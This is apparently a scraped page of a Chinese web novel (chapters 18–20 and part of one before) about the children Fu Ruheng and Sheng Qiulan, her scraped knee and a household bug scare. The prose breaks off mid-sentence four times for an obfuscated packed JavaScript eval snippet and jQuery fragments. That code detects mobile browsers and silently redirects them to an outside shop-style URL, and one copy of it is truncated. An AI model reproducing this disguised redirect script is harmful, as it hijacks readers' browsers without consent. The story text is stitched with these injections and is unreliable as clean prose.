府中上上下下都不敢在这个时候靠近他的院子,下人们噤若寒蝉,心中却不免疑惑。
毕竟是先皇亲批的爵位,就算现在的陛下对侯府没有多大的感情,只要不干株连九族的事情,也能保一世荣华,外加上还有女儿在皇帝后宫为妃,是谁敢这样对傅皓轩?
傅皓轩的贴身侍从姗姗来迟,说漏了嘴,其他人才知道原来是对面的那个盛家小姐干的。
今天早上盛秋阑在众目睽睽之下拉着傅如珩出去,现在听说傅皓轩是被她打的,大家的目光不自觉头像府中最角落的那一处宅院。
傅如珩回来的时候没有半分异常,他们还以为没有发生什么事,感情是受害者还没有出现。
傅皓轩一开始没有感觉,回到房中躺下来才发觉身上哪哪都痛,连爬都爬不起来,腹部被盛秋阑踹了好几脚,此时只能板板正正地向上躺着,连翻身都费劲。
“医生呢,我要医生。”
府医提着药箱被几个人簇拥着进来,有些仆从不老实地想要看热闹,没想到房门却被一把拍上来。
过了不到半个时辰,医生从房里面出来,面容憔悴,就连头上的白头发都多了几根,看起来像是被折磨得不轻。
众人面面相觑,世子才回来没几天,没想到就摊上这种事情,老爷应该也还不知道这件事,也不知道知晓之后傅如珩会被如何对待。
就在这个时候,侯府的门突然被敲响。
门口有一个穿着粗麻布衣的人骑着一辆小三轮,后面放着两个鼓鼓囊囊的牛皮袋,下人上前检查,才发现全都是土。
“这是哪里来的?”
那人看了看门口金光闪闪的牌匾,也有些奇怪:“应该是侯府中的人定的,他说把东西送到这里。”
管理庭院的仆从摸不清头脑:“府中的土都是我管理的,从来没找你要过。”
其他人再怎么样也不可能会莫名其
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962895|192386||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
妙要两袋子土,唯一能干出来这种事情的就只有……
“我的。”
傅如珩不知道什么时候出来了,语气平淡,好像根本就没有听见傅皓轩进来时的动静。
刚才提问和回答问题的人都不敢说话了,只有运送过来的人还不清楚情况,在那边询问。
“小公子,需要我帮你拿进去吗?”
侯府也不是谁都能进的,下人们终于反应过来:“不用,我们来就行。”
傅如珩没有阻止,转身就走,在前面领着路,后面跟着两个人把土卸下来,一人一袋扛在肩上,放到院子里面。
深坑还残留在院子当中,他们带着一点心虚,没有再看第二眼。
“四少爷,要不要我们帮忙把坑填了?”放下袋子之后,他们小心翼翼地询问。
傅如珩在侯府按照年岁排名第四,只是大家平常都不怎么这样叫他,这个称呼也是难得听闻。
“不用。”
两个人惴惴不安地退开,一步三回头地走远这个院子。
直到看不见人影,傅如珩才从房里拿出药膏,熟练地抹在身上,随后打开了袋子上面绑紧的绳子,面不改色走到了坑旁边。
袋子被一脚踢翻,里面的沙土顺着斜坡滑落下去,很快就堆满了半个坑,最上面形成一个尖角。
傅如珩没有急着抹平,转而打开了另一个口袋,两个袋子很快变瘪,被随意丢在一旁,坑中心突出一个小三角,被傅如珩一压,很快松散的泥土就到了两旁。
沙土中间还掺着一点细碎的小石子,看上去品质不是特别好,但是养活一片草已经足够了。
傅如珩随意踏平了两下,走到里屋拿出之前还剩下大半的草药种子,均匀地洒在土壤上面,又拿旁边的泥土盖了盖。
太阳已经到了头顶,怕热的人此刻应该已经脱下了外套,可是始终都没有听见盛秋阑的声音。
傅皓轩因为昨天被打,现在还只能躺在床上,倒是难得的清静。
可傅如珩却觉得这个清静有些磨人了。
说不出来是为什么,只是心中空了一块,干什么事情都集中不了精神,思绪飘飘悠悠飞到了对面,又被两扇门给挡在外面。
手上似有灼人的痒意,傅如珩一开始还以为是自己沾到了草药,抬手却是药膏的清香,昭示着他早已经做好了预防措施,地上的草更是距离他十万八千里,连一点边角都没有碰到,根本不足以作为借口。
傅如珩随便瞄了一眼已经被打理好的院子,抬手关上了院门。
等站在侍郎府和侯府的小路中间,他才恍然发觉自己已经遵从着内心的某种冲动出了门。
肌肉记忆让他根本不用多做思考就能走到这里,却被侍郎府的门拦在门外,仿佛理智堪堪回守形成的最后一道防线。
傅如珩抿了抿嘴,几乎要崩成一条线,却迟迟没有上前。
他的脚步死死定在原地,不知道多久才终于松些了力气,脚下微动,手指却依旧攥紧,如同某种不甘。
就在傅如珩终于想要回去的时候,面前的大门突然打开了。
“公子?”
18. 伤口
侍郎府负责采购的小厮走出来,叫住了傅如珩。
“您是来找小姐的吧,她就在里面,可能跟二少爷在一起。”
“昨日大少和二少从学堂回来了,小姐今天早上就跟着二少爷去了花鸟集,还抱回来一只小兔子,是小姐来叫你看的吧。”
傅如珩莫名松懈了一口气,心中的不安被抚慰。
他知道小厮所说的是什么兔子,盛秋阑每次经过集市的时候都会停下来去看,应该是盛承驰听说之后买下来了。
听这话,盛秋阑此时还在忙,傅如珩知道兄弟俩看他并不是很顺眼,外加上两人难得回来一次,他无意去打扰他们之间的相处。可小厮已经认定是盛秋阑提前打过招呼,还没有等傅如珩说就,把他带进去了。
“小姐之前说过,只要是您就可以随意进出的。”
小厮把他带进去之后,就匆匆忙忙往外走。
“小姐吩咐我去买兔子的吃食,我就不带您进去了。”
正如盛秋阑对侯府熟悉一样,傅如珩对侍郎府的布局也很清楚,几乎每一处地方都去过。
从某种意义上来说,他对侍郎府甚至比侯府更有归属感。
傅如珩没有如小厮说的那样去找盛秋阑,转而走向了之前提到过小兔被安置的花园当中。
看一眼就走。
没想到刚刚走到一半,就听到远处传来一声尖叫,即便因为相距很远,声音不算大,他还是第一时间就认出来——正是整天都在耳边叽叽喳喳的人。
傅如珩脑海一片空白,等回过神来,他已经往那个声音跑过去了。
几年之前,他第一次来到这个后院时还会迷路,最后误打误撞来到了后院,见到了盛秋阑。现在他已经能够熟练地走各种小路,甚至知道哪条路能够最快到达想去的地方。
如果没有听错的话,声音传来的方向应该是盛承礼的院子。
不过小厮不是说盛秋阑和盛承驰在一起吗?
来不及思考发生了什么,傅如珩隔着一道长长的石板路看见了盛秋阑。
对方的裙摆上沾着泥土,细看之下,膝盖处也有不大不小的污渍,看上去像是刚刚摔了一跤。
来不及掸掉身上的灰尘,盛秋阑又往前面走了几步,只是走路的姿势有点怪异,右腿不自然地弯曲,落地时放轻了力道,显得一瘸一拐。
傅如珩下意识想要伸手,却摸了个空,才察觉两个人之间还隔着一段距离。他加紧跑了两步,终于在盛秋阑再次摔倒之前扶住。
他本来以为那一声尖叫是因为摔倒发出来的,可是等到把人抱在怀里的时候,才发觉盛秋阑全身都在颤抖,更像是遇见了什么可怕的东西。
这是他第一次看见盛秋阑这样紧张不安的样子,对方一直都是明媚张扬的,好像不管发生什么事都能够迎刃有余地解决。
这是发生什么了?
傅如珩眼神沉沉,手上的动作却异常轻柔,抚着她的后背,仿佛对待一件易碎品。
盛秋阑脸埋在他的肩膀处,声音闷闷:“先离开这里。”
她的脚上有伤,傅如珩干脆把整个人都抱起来,盛秋阑的胳膊环着脖颈,两条腿分在两边,被傅如珩稳稳拖住,轻微摇晃。
不知道走了多久,盛秋阑都没有说过第二句话,傅如珩也就没有停下来,一直等到几乎看不见身后的草坪,耳边才传来一道低低的嗓音。
相比起之前,话语当中的哭腔几乎已经听不见了,只是兴致依旧不高。
“好了,把我放下来吧。”
傅如珩没有如她所说立刻停下来,而是又往前面走了两步路,把盛秋阑放在亭子当中的凳子上。
他自己没有坐在另一边,顺势蹲下来。
坐下来之后,盛秋阑此刻的样子更加清楚,膝盖处有两块不是很规则的圆形污渍,上面还沾着棕黄的泥土颜色。
“哪里摔伤了?”
傅如珩蹲下来之后比盛秋阑低一点,垂眼就能看见她的膝盖。
盛秋阑拉开了自己的裙摆,藕白的小腿露出来,一直撩到膝盖。
原本光滑白皙的膝盖上面突兀地出现了两片红色,右边要更加严重一点,还破了皮,露出了下面的皮肤和一点点血痕。
傅如珩皱紧了眉头:“我去叫府医。”
盛秋阑坐在位置上还不安分,眼睛总往后面看,拉着人不肯让他走:“不用,府医这段时间回家告假了,房中没有人……你别走,我不想一个人在这里。”
她现在脚上不方便,如果有什么意外傅如珩还能带她走,若是那个虫子真的跟来了,跑都跑不掉。
傅如珩没有办法,但是也没有立刻坐下去。他早就发觉了盛秋阑的情绪不对,过了这么久,对方还没有平静下来,手指不停地绞着他的衣摆,看起来有些不安。
“怎么了?”
他早在盛秋阑第一次往后转的时候就看过她的身后,亭子和平常并无二致,可盛秋阑还是紧绷着,不知道是看见了什么害怕成这样。
“你帮我看看周围有没有虫子,”盛秋阑干脆说出来,“我哥从花鸟集里面带回来一只大虫子,我打开盒子之后它就跳出来了。”
她嘟囔着:“也不知道从哪里找出来这么丑的虫子。”
傅如珩知道她害怕,没有敷衍,再次在周围仔仔细细看了一遍,确保没有盛秋阑所说的虫子。他找人要来了驱虫药膏,避开伤口抹在她的身上,还在自己身上挂了一个驱虫的锦囊。
“现在应该不会来了,来了我也能赶走。”
“那你不要用手打……也不要用脚,”盛秋阑还有要求,“不想让它们碰到你的手。”
傅如珩一一应下,视线一直关注着她膝盖上的伤口。
盛秋阑其实只在一开始摔伤的时候有点疼,她原来比这更严重的伤都受过,这个伤口看起来可怖,但其实没有伤到里面,只是一个小口子而已,根本没有放在心上。
只是因为这几年被娇生惯养,才在跌倒的时候懵了一下。
她甚至还想要站起来走两步表示自己没事,却被傅如珩一把摁在了凳子上。
“那我去药房里面帮你找点药。”
盛秋阑见他想要走,有些不情愿,但还是没有伸手拉他。
笑话,作为一个心里年龄已经二十多的人,接二连
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979284|192386||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
三地表示自己害怕好像有点太过丢人了。
她垂下脑袋,盯着自己的伤口,好像要瞧出一个花来。
没想到傅如珩刚走出一步,又折返回来,在盛秋阑面前蹲下。
“刚刚忘记了。上来吧,我带你过去,不会把你一个人留在这里的。”
盛秋阑微怔,随后向前倾倒,慢慢趴在他的背上。
傅如珩蹲下来的位置刚刚好,让她不用费力就可以稳稳被背起来。
傅如珩确认她已经趴稳了,才慢慢起身,他的脚步有点慢,但是走得很平稳,盛秋阑在他背上只能感觉到轻微的颠簸。
伤口已经过了最开始的疼痛,现在只剩下隐隐约约的痛感,并不是很剧烈。
傅如珩绕到西跨院,里面的确实没有人。
他把盛秋阑放在有软垫的椅子上,自己在后面的木柜子里翻药。
“我记得摔伤的药是在左边第二个抽屉里面。”
傅如珩依言打开抽屉,果然看见了白芨粉,他把瓶子拿出来,又在柜子上面拿了一卷棉纱布。
白芨粉当中掺着珍珠粉,傅如珩把白色的粉末均匀地洒在盛秋阑的膝盖上,听到头顶上传来一声夸张的“嘶”。
他手上的动作一顿,刚才已经尽量挑选了药性比较轻的白芨粉,没想到还是会痛。
傅如珩抬头看向盛秋阑,想要从对方的表情当中判断伤势,却没有想象中的不适。
后者面上笑嘻嘻的,小腿不听话地乱动:“骗你的,不要皱眉头了,我一点都不痛。怎么感觉你比我还难受,我都没有皱眉呢。”
明明连十岁都不到,还整天还皱着眉头。像个小大人一样。
傅如珩再次低下头,虽然盛秋阑这样说了,但是他还是放轻了动作。
“下次还是要小心点。”
白色药粉覆盖住了伤口,傅如珩拿起消毒过的纱布,扯出一段,小心地盖在伤口上面。纱布之间有着细小的缝隙,缠两圈之后彻底看不见红色,最后在侧边绑上一个结。
盛秋阑觉得有些太过夸张了,连忙阻拦:“涂个药酒差不多了,明天就能好。”
傅如珩的房中经常备着药酒,不管多大的伤口都是随便涂一下就算,现在却表现得异常重视。
膝盖上突然多了一圈纯白色,好像右腿上的重量都多了一点,弯一下腿都有着阻力。
盛秋阑有些不自在地晃了晃腿,余光中见傅如珩又扯了一段绷带,貌似还想要把另一个膝盖也给包起来,连忙阻止。
“够了够了,真的。”
一条腿还能说成是受伤了,两条腿都缠住就感觉她已经半身不遂了一样。
盛秋阑已经从之前的状态里面走出来,重新变成平时的样子,就连说话的语调都恢复了。
“你来了正好,我带你去看看今天新买的兔子。”
她想要像往常一样跳下来,却被制止了。
“腿还没好,别乱跑了。”
“我没事了。”盛秋阑为了证明自己,原地蹦了两下,表情僵硬了片刻。
好像还真有点痛。
她彻底老实下来,跟在傅如珩后面。
19. 丢脸
兔子所在的草坪和西跨院有点距离,盛秋阑本来还想要在前面带路,却发现傅如珩好像已经确定了方向,半点没有犹豫。
盛秋阑好像抓住了他的小辫子:“难怪你今天主动来找我,原来是为了看兔子的。那我之前叫你一起来在店门口看你还表现得不情不愿的。”
傅如珩懒得废口舌和她解释,路上经过盛秋阑之前摔倒的草坪,后者的脚步不自觉加快,走到了傅如珩的身边,紧紧贴着。
站稳之后,她后知后觉感觉到丢脸,总归已经走过来了,傅如珩也不能把她赶走。
见旁边的人低头看了她一眼,盛秋阑不甘示弱地看了回去。
“看什么看,我只是怕你冷而已。”
天上的太阳正当空,只穿着一件薄长衫就已经足够,这个借口实在有些拙劣。
傅如珩没有点破,淡淡收回眼神,默认了她的动作。
走路时,两人不可避免地触碰到对方。
盛秋阑垂在两边的手若有若无地贴过来,傅如珩手上还残留着先前的药膏香味,现在同样沾在了她的身上,恍若一体。
盛秋阑没有注意这些细节,即便身边已经有了傅如珩,还是有些紧张地向四周看,草木皆兵。
傅如珩早已经看过四周,他的视力很好,每一寸草丛都被视线一一扫过,没有发现虫子。只是出于某种心思,他没有张口,在一边默默地看盛秋阑一惊一乍。
盛秋阑一双杏眼微微睁大,小心翼翼地往四周观察着,偶尔风吹过草引来晃动,她面上还绷着冷静的样子,手指已经不自觉向上牵,先是指尖相触,然后非常自然地勾在一起。
她先前被吓出一身冷汗,手中还是凉的,比一向体温低的傅如珩还要冷。
傅如珩终于没有再闲庭信步,加快脚步想要快点带她离开,没想到这时盛秋阑反而不配合了,双脚好像被钉在原地,眼睛直直地看着草坪当中的某处地方,面上闪过惊慌。
她的声音有些颤抖,手指下意识用力,捏得傅如珩生疼:“傅傅傅傅如珩,你看那是什么?是不是虫子?”
盛秋阑几乎快要崩溃,说到最后都带上了一点哭腔,已经上过药的膝盖都开始隐隐发疼。
傅如珩微微蹙起眉,他先前检查过,应该不至于有遗漏。
他朝盛秋阑指的方向看过去,现在这个时节,草坪中覆盖着刚刚长出来的嫩草,与原先的草混杂在一起。在它们之间好像有一个黑乎乎的东西,约莫两根手指大小,但是因为有一段距离,所以看不见具体样子。
“我去看看。”
盛秋阑手上还牵着,不太想要让傅如珩走,但是那处草丛就在他们的前方,要想过去必须要经过那块地方。
她脚下踌躇,一方面想跟着,一方面又不敢靠太近,最后在一番纠结下还是恋恋不舍地松开手。
手指残存着主人的意思,松开得格外迟缓,盛秋阑浑身崩成了一条线,就连说话时都只敢微微动嘴唇,根本不敢有大幅度动作,生怕虫子会注意到这边的动静。
盛秋阑的声音仿佛被闷在口腔当中,黏黏糊糊的一团。
“那你快点啊。”
她看着傅如珩朝着那一处草走过去,心中突然生出一点后悔。
刚才就应该一起走的,总归傅如珩不会让虫子碰到她。
但是现在对方已经走出去一段距离了,盛秋阑却还是待在原地,念头只出现了一秒,腿却根本使不上劲。
骤然失去了依靠,她好像被困在这一处小小的地方,再也不能动弹,唯有一双眼睛可以看前面的动静。
傅如珩的动作在眼中放慢了很多倍,然后盛秋阑就眼睁睁看着对方走进那块地方,弯下身子把那一团黑乎乎的东西捡起来了!
捡、起、来、了!
盛秋阑差点展现人类医学奇迹,腿也不软了膝盖也不痛了,现在就想要拔腿就跑。
她刚退了两步,就听见后面传来一个无奈的声音。
“不是虫子,你仔细看。”
她眼中饱含怀疑,但还是撑着最后一丝对傅如珩从小到大一起长大的情谊,勉为其难地回了头。
傅如珩的确没有骗人,他手上捏着的是一片已经将近枯黑的小叶子,因为离的比较远,所以远远望过去就像收拢了翅膀的甲壳虫。
先前盛秋阑所看见的虫子也是这一片叶子,当时被风吹过,离得与她近了些,却被误以为成了虫子。
“咳咳。”
盛秋阑小步地挪回来,靠近了依旧捏着叶子的傅如珩。
她心有余悸地瞥了一眼他手上那一片破碎的叶子。无辜的黑色叶片从树上落下来,将近腐败还要被当做虫子。
即便知道不是自己想象的东西,盛秋阑的心跳依旧没有完全平复,扑通扑通地在胸膛里面快速跳动着。
她感觉到自己刚才的反应实在有点大,强撑着面子从傅如珩手中接过那一小片叶子,马后炮地开始维护自己在小弟面前的形象。
“我还以为是什么呢,就这个啊哈哈哈。”
为了掩盖刚才的失态,盛秋兰当着傅如珩的面特意把这一片黑色的叶子捏得粉碎,撒在一旁的草丛当中。
枯黑的叶子已经变得很脆,边缘都泛着莹莹的光,只有中间才透出一点点橙黄色。
残余的树叶碎片粘在她的手上抖落不掉,盛秋阑随意地拍了拍,把灰烬都丢在了草坪上,一直沉到土中。
她手上动作不停,眼睛观察着傅如珩,试图从中判断对方有没有在心里面偷偷笑她。
被一片小叶子吓成这样去,要是被说出来,以后她还怎么混!
傅如珩任她随意看,盛秋阑判断不出其中的意思,但也没有看到明显的笑意,勉强让他过关,但最后还是留了个心眼,颇为谨慎地说。
“刚才的事情不要说出去……不然,哼哼。”
似是听到了某个词,傅如珩眼神微动,但最终还是没有说出来。
盛秋阑的威胁实在没有杀伤力,也就只能装个样子吓唬人。
傅如珩从小到大被拉着干了不少坏事,盛秋阑为了不让他告状,类似的话说了不下几
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987306|192386||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
十遍,对此无动于衷,伸手拉了拉她的外衫,颇没诚意地保证。
“知道了……天冷,你别着凉了。”
盛秋阑的情绪经历大起大落,早就出了汗。现在又被太阳一照,原本的虚汗都已经变成了热出来的汗水。
但是自己刚刚还说怕傅如珩着凉,现在说热岂不是坐实了刚才是害怕?
她心中憋屈,又不好说出口,在心里面狠狠地给傅如珩画了两个王八。
明明看出来她热了,这就是报复吧!
警报已经解除,盛秋阑此时没有了后顾之忧,干脆又与傅如珩拉开了距离,大摇大摆地走在了前面,眼睛也不往四周乱瞥了。
她本想学之前看到过的武林小说那样,把外衫往后一掀,大步往前迈,装出一副世外高手的样子。
掀是掀了,无奈一走起来就露了馅。
右腿不停使唤地往前面踉跄了一下,虽然及时稳固了身形,气势已经却没了大半。
盛秋阑面孔绷着,左脚却非常诚实地把距离往回收了收。
傅如珩不知道盛秋阑又脑补了什么,看到这一幕,非常有眼色地没有揭穿,慢条斯理地跟在后面。
两个人最后也没能去成兔子窝,被发现不对的下人们及时禀告,中途就被拐到了正房当中。
盛秋阑皮归皮,却没怎么受过伤,从小到大就知道随机应变,一旦发现玩脱了就逃走,这膝盖上的伤还是她长这么大以来最严重的一次。
被叫到主屋的时候,盛秋阑还没有反应过来,直到被摁在一旁的榻榻椅上才知道原因。
“娘,我真的没事。”
前有傅如珩,后有贺兰谨。每个人都对她这点小伤口展现出了万分的紧张,盛秋阑坐在椅子上被周围一群人盯着,只好用眼神求助一旁的傅如珩。
她的右腿膝盖被包裹得严严实实,透过白色的纱布看不出里面的伤口,只能通过左膝盖的擦伤来判断。
盛秋阑被看得腿都发僵了,脸上原本还有笑容,现在都要支撑不下去了,只见贺兰谨满眼心疼地盯着伤口看了半天。
贺兰谨:“这条腿怎么不包上?”
盛秋阑好说歹说才让傅如珩放弃了把两条腿都包上的念头,听到这话一头两个大。
“不用!”
盛秋阑企图用一个更夸张的例子来打消贺兰谨的想法:“难不成以后出门还给我配个轮椅吗?”
没想到她的娘亲想了想,沉吟道:“好像确实是轮椅方便点。”
盛秋阑:“……”
她是这个意思吗?!
盛秋阑在这边心急如焚,傅如珩作为被一起拉过来的人,却在一旁悠哉悠哉地剥着橘子。
小巧的沙糖桔握在手上,很快就被剥掉了外壳,修长的手指却还在慢条斯理地清理着上面的白丝,仿佛一下子就拥有了无限的耐心。
丝毫不顾眼睛都快要眨抽搐的盛秋阑。
盛秋阑暗示无果,磨了磨牙齿,默默在心里记了一笔。
好,很好,看她出去后要怎么收拾傅如珩。
20. 除虫
不管之后盛秋阑要怎么解决傅如珩的“叛变”,贺兰谨还在面前看着,她不敢做什么小动作,只能绞尽脑汁地思考如何转移话题。
联想到这件事情的罪魁祸首,盛秋阑眼中闪过一抹狡黠的光,果断决定祸水东引。
她一改刚才差点要蹦到椅子上面的气势,突然浑身都松下来,就连语调也放软了。
“娘亲,只是二哥他带回来一只虫子,我害怕才会摔倒的。”
盛秋阑试图开始回忆刚才的感觉,只是周围密密麻麻全都是人,虫子要是出现在这个地方,早在跳到盛秋阑面前时就被解决了。
她找不回来之前毛骨悚然的感觉,只好尽力把头埋低,做出一副可怜弱小无助的样子。
旁的人可能还会被她这个样子骗到,但是在傅如珩眼里,这个伪装简直就和纸一样,一戳就破。
毕竟他之前看见过盛秋阑真正害怕的样子,现在倒像是戴着个无所遁形的兔子面具,面上装成胆小的样子,实际上一双眼睛在下面滴溜溜地转。
贺兰谨倒是第一次看见盛秋阑这个样子,明显被唬住了,顿时把刚刚的想法全都抛在一边。
“那只虫子在哪,娘亲让人把它赶走……把盛承驰那个臭小子叫过来,难得回来一次就惹事。”
二哥上午刚刚给自己买完心心念念的兔子,现在就要因为自己被责骂,盛秋阑实在有些心虚,赶快把重点转移回来。
“没事的娘亲,不怪二哥,只要把虫子赶走就好了。”
她的眼角是刚刚强行憋出来的红色,光看面孔还真像那么回事。
贺兰谨看着心疼:“好好好,等一下就让人烧草药,保管不会再有虫子了。”
她转向一旁的傅如珩,语气中少了一点面对盛秋阑的宠溺,更多的是作为长辈的温柔:“这次麻烦如珩了。”
傅如珩在这方面教养极好,言行当中都挑不出毛病:“夫人言重了,只是碰巧遇见。”
盛秋阑在一旁撇撇嘴,什么碰巧遇见,分明是她嗓门够大。
因为对方刚才的无视行为,盛秋阑心中还有一股气,现在听什么都不顺眼。
只是她不敢在贺兰谨面前表现出来,好不容易才劝完母亲放弃打造一座轮椅的想法之后,盛秋阑半点都不敢停留,生怕再晚一点就会被拉着强摁在轮椅上。
“那我就先走啦!”
因为这么一出,她膝盖上面的伤口都在迫切下短暂失去了痛觉。盛秋阑脚下飞快,看不出受伤的样子,临走之前顺便拉上了一旁好像没事人一样的傅如珩。
侍郎府中的人手脚麻利,自从贺兰谨下令之后,很快准备好了艾草等物,空气中隐隐传来草木被点燃的味道,带着一点烟味。
盛秋阑直接把傅如珩带到了自己的屋子里,她所住的院子距离正院不远,走几步路就能到,傅如珩好像完全不知道自己即将面临什么,依旧面色从容地跟在后面。
院门被一把关上,盛秋阑一屁股坐在了柔软的贵妃榻上面,受伤的右腿大咧咧地搭在旁边的小凳子上,露出一小节光滑的小腿。只看这个样子,半点没有一般官府小姐的姿态,反倒像个恶霸。
贵妃榻不算高,但是盛秋阑之前垫了好几层软垫,直接拉高了身量。原本比她高了一个头多的傅如珩站在面前还要稍矮一点,看着这个样子,盛秋阑心中的气才顺了一点。
“知道哪里错了吗?”她恶声恶气地说。
盛秋阑百思不得其解,自己对傅如珩好歹也是尽心尽力,对方居然如此恩将仇报!!
别以为她没有看见自己被贺兰谨追问的时候傅如珩露出了一抹笑。
虽然只是嘴角上扬了一个像素点,也逃脱不了她的火眼金睛。
“你……唔。”
盛秋阑再次开口,打算细数罪行,没想到口中突然被塞入一片冰凉的东西。
傅如珩不知什么时候上前了一步,把手里面的橘子塞在她的嘴里,时机的精准性让盛秋阑不得不怀疑对方是早有预谋。
薄如蝉翼的橘子皮一咬就碎,里面的汁水很快就溢满口腔,没有了外层口感略差的橘络,口中只剩下清甜的橘子味。
也不知道傅如珩是怎么还有闲心把橘子用皮裹住的,乍然一看就跟新的一样。
盛秋阑还没有来得及说出口的话就这样被堵在口中,被迫咽下口中的橘子,还打算继续开口。
“为什么不帮我……唔。”
剩下半个橘子继续被塞进嘴里面,不大的口腔被塞得满满当当,不至于让人觉得撑,但是足够说不出完整清晰的话语。
傅如珩就这样站在盛秋阑面前,一点都没有低人一等的意思,手里面还剩下一个完整的橘子皮,代表他刚才的“罪行”。
人证物证全都在,无从抵赖。
刚刚在正房当中看到的一抹笑意早在他离开之后就消失了,重新变回了平常的平静样子,不过在这个时候又浮现出来了几分。
盛秋阑口中还在嚼着橘子,咬牙切齿地打量他,本就圆的杏眼这样一看变得更加大了。
似是被她这幅样子取悦到了,傅如珩的站姿变得放松下来,还有闲心收拢散开的橘子皮,重新变成椭圆形,要不是上面还有缝隙,几乎分辨不出区别。
盛秋阑被迫吃完了一整个砂糖橘,嘴巴抿得紧紧的,警惕地在他身上打量了一圈,确定再也没有第二个可以偷袭的东西,才张口。
“你怎么不帮我,明明昨天还答应当我小弟。”
盛秋阑不小心把内心的想法说出来了,话一顿,抬眼观察傅如珩没有表现出不乐意的神情,才继续后面的话。
“你明明知道我没事。”
傅如珩的视线从她架在椅子上面的腿扫视了一圈才收回来。他当然不会说,因为他的想法就和贺兰谨一样。
才一会儿不见,盛秋阑就摔伤了腿,若是不能安安分分地坐下来,谁知道以后还会出什么事情。
他的真实想法不能暴露出来,只能用另一种话来搪塞。
“我记得你昨天说的是你罩着我。”
两个人称代词被着重强调,盛秋阑果真被轻易转移走了视线。
“虽……虽然如此,但是这个也是一个意外,在其他时候,你也可以帮帮我嘛。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17021009|192386||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>傅如珩不置可否,盛秋阑的性子只有在长辈面前才会收拢一点,若是贺兰谨能够让她乖乖听话是最好不过,可是现在这个情况也是在意料之中。
盛秋阑是绝对不会就这样乖乖听话的。
几乎已经要闻不到的草木香再次传来,应该是下人已经烧到这块地方了,气味传到屋子里面的时候,那一股带着暖意的辛味已经变得很浅,只剩下了一丝微苦的回甘。
按照这个架势,整个侍郎府大抵都要被笼罩在这一片草药味当中,别说是一只虫子了,就算府中藏着一个窝大抵也已经被掀了个底朝天。
盛承驰刚刚带回来不到半日的虫子就在这一片烟雾当中销声匿迹。
当事人早在马车上就想好了计划,一回到府中就拿着之前小考的卷子跑到盛承礼的屋子,指着上面一道题请教。盛承礼虽然觉得这个行为反常,但是看着他愁眉苦脸的样子,还是犹豫着把卷子接过来。
才讲到一半,盛承驰突然一拍脑袋:“哥,我有张卷子忘在屋里了,你帮我去拿下吧,我就在你这里订正。”
为了让自己所说看起来更加真实一点,他当真拿起了旁边夹在笔架上面的毛笔,开始在错处旁边订正。
盛承礼狐疑地打量了他一眼,出于对先前种种的经验,直觉告诉他盛承驰这么做肯定有猫腻,但是上看下看都没有发现对方身上藏着的东西,订正的答案也都是正确的。就在他怀疑的时候,盛承驰还在催促着,盛承礼一步三回头地出门,去给他找卷子去了。
听到脚步声渐渐走远,盛承驰一把把自己刚才拿来的卷子放在一边,从怀中掏出自己先前准备的小盒子,因为体积太小,藏在衣服当中也不突兀,所以盛承礼完全没有发现。
把一切东西复原之后,盛承驰就离开了书房,顺便带上自己订正到一半的试卷。
他这个借口也不算假,小考的卷子确实需要订正,只是稍稍耍了个手段,主要还是想把盛承礼引出来。
盛承驰随便找了个房间,快刀斩乱麻地在一旁写上完整的答案,随后又在屋子里面等了半天,却没有听到半点动静。
他特意找了一个距离书房比较近的屋子,窗口正好对着那个方向,只要盛承礼回来就能第一时间注意到。
结果还没有等来人,先闻到一股草木味。
午后让人倦怠,盛承驰不知道什么时候趴在自己的卷子上面睡着了,还好上面的墨渍已经干涸,没有印在脸上。
他把卷子挥到一边,耸耸鼻子,循着气味把窗户推开了,被瞬间浓郁的艾草味刺激得眯了眯眼。
盛承驰朝着不远处望过去,看见了烟雾缓缓飞上天空,笼罩着这一处地方,艾草的辛气混杂在其中。
侍郎府定期会驱虫,但是像这么大的阵仗还没有过,更何况前不久刚刚除过虫,没想到这么短时间里来了第二次。
盛承驰有些疑惑,这是哪个虫子跳出来了,值得这么兴师动众。
想到这里,他略有些担忧地看了一眼书房,随后宽慰自己。
反正他的盒子只要没有人打开,里面的虫子就跳不出来,肯定跟他没关系。
